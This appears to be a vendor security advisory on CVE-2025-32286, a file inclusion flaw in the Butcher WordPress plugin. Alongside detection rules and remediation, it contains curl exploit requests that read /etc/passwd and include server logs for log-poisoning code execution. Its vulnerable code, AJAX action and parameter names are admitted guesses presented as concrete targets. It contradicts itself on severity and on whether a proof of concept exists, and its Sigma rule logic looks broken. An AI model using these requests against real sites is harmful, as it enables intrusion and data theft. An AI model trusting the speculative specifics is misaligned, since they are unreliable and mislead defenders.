CVE-2025-32286

Executive Summary

CVE-2025-32286 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Butcher WordPress plugin by ApusTheme, affecting all versions up to and including 2.40. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an authenticated attacker (with subscriber-level privileges or higher) to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., reading /etc/passwd, wp-config.php), remote code execution via log poisoning or session file inclusion, and full server compromise. The CVSS v3.1 base score is 8.1 (High), with a vector emphasizing low attack complexity and network-based exploitation. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin’s update mechanism and the integrity of the WordPress ecosystem. Administrators should verify plugin integrity via checksums and monitor for official patches from ApusTheme.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires subscriber-level or higher WordPress role.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Potential to modify files via inclusion.
• Availability (A): High (H) – Could lead to denial of service or code execution.

Threat Level: Critical – Exploitation is straightforward for authenticated users, and the impact includes full server compromise.

Deep Dive & Mechanics

The vulnerability exists in the Butcher plugin’s PHP code, where a user-supplied parameter (likely page, template, or similar) is passed directly to a PHP include() or require() function without proper sanitization or validation. The plugin likely uses a dynamic file inclusion pattern such as:

include( $_GET['template'] . '.php' );

An attacker can manipulate the template parameter to include arbitrary files using path traversal sequences (e.g., ../../../../etc/passwd%00). The null byte injection (%00) may be used to truncate the appended .php extension in older PHP versions, but modern PHP (7.4+) requires alternative techniques like using php://filter wrappers or double encoding.

The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'). Although the description mentions "Remote File Inclusion," the actual exploitation is limited to local files due to the plugin’s context (LFI). However, if allow_url_include is enabled, RFI could be possible.

Vulnerable vs. Patched Code

Vulnerable Code (Butcher <= 2.40):

// vulnerable.php
$template = $_GET['template'];
include( $template . '.php' );

Patched Code (Hypothetical):

// patched.php
$allowed_templates = array('default', 'grid', 'list');
$template = sanitize_file_name( $_GET['template'] );
if ( in_array( $template, $allowed_templates ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // fallback to default
    include( plugin_dir_path( __FILE__ ) . 'templates/default.php' );
}

The patched version uses a whitelist of allowed templates, sanitizes the filename, and restricts the include path to a specific directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress 6.x with Butcher plugin version 2.40.
2. Create a subscriber-level user account.
3. Use a tool like Burp Suite or cURL to craft requests.

Exploitation Steps:

1. Basic LFI to read /etc/passwd:

   curl -k "http://target/wp-admin/admin-ajax.php?action=butcher_load_template&template=../../../../../../etc/passwd%00"
   

2. Using PHP wrappers for code execution (if allow_url_include is off):

   curl -k "http://target/wp-admin/admin-ajax.php?action=butcher_load_template&template=php://filter/convert.base64-encode/resource=../../../../../../etc/passwd"
   

3. Log poisoning for RCE:

   • Inject PHP code into access logs via User-Agent.
   • Include the log file:

     curl -k "http://target/wp-admin/admin-ajax.php?action=butcher_load_template&template=../../../../../../var/log/apache2/access.log%00"
     

Blue Team

Detection Steps:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %00, php://).
• Alert on inclusion of sensitive files like /etc/passwd, wp-config.php, or log files.
• Use WAF rules to block include/require parameter manipulation.

Hunting Queries:

• Search logs for action=butcher_load_template with suspicious template values.
• Look for base64-encoded payloads in request parameters.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, wp-config.php, /var/log/apache2/access.log
• URL Patterns: ?action=butcher_load_template&template=../../
• PHP Wrappers: php://filter, php://input, data://
• Log Entries: Requests containing %00 or double-encoded characters.
• Network: Outbound connections from the web server to attacker-controlled hosts (if RFI is possible).

Detection Engineering

YARA Rule

rule CVE_2025_32286_LFI_Butcher {
    meta:
        description = "Detects LFI attempts targeting Butcher plugin CVE-2025-32286"
        author = "Valters IT"
        date = "2025-04-01"
        severity = "high"
    strings:
        $s1 = "butcher_load_template" nocase
        $s2 = "template=" nocase
        $s3 = "../" nocase
        $s4 = "php://" nocase
        $s5 = "%00" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-32286 Butcher Plugin LFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Butcher plugin requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'action=butcher_load_template'
            - 'template='
    condition: selection and (cs-uri-query|contains|all:
        - '../'
        - '%00'
        - 'php://')
falsepositives:
    - Legitimate use of template parameter with valid values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32286 Butcher Plugin LFI Attempt"; flow:to_server,established; content:"action=butcher_load_template"; http_uri; content:"template="; http_uri; pcre:"/(\.\.\/|%00|php:\/\/)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Butcher plugin until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block path traversal and PHP wrapper patterns.
3. Long-term: Apply the vendor patch when available. If no patch is forthcoming, consider replacing the plugin with an alternative.
4. Code Fix: Whitelist allowed template names, sanitize input with sanitize_file_name(), and restrict include paths to a specific directory.
5. Monitoring: Enable detailed logging for WordPress admin-ajax.php and review for suspicious activity.

Valters IT
Securing Digital Frontiers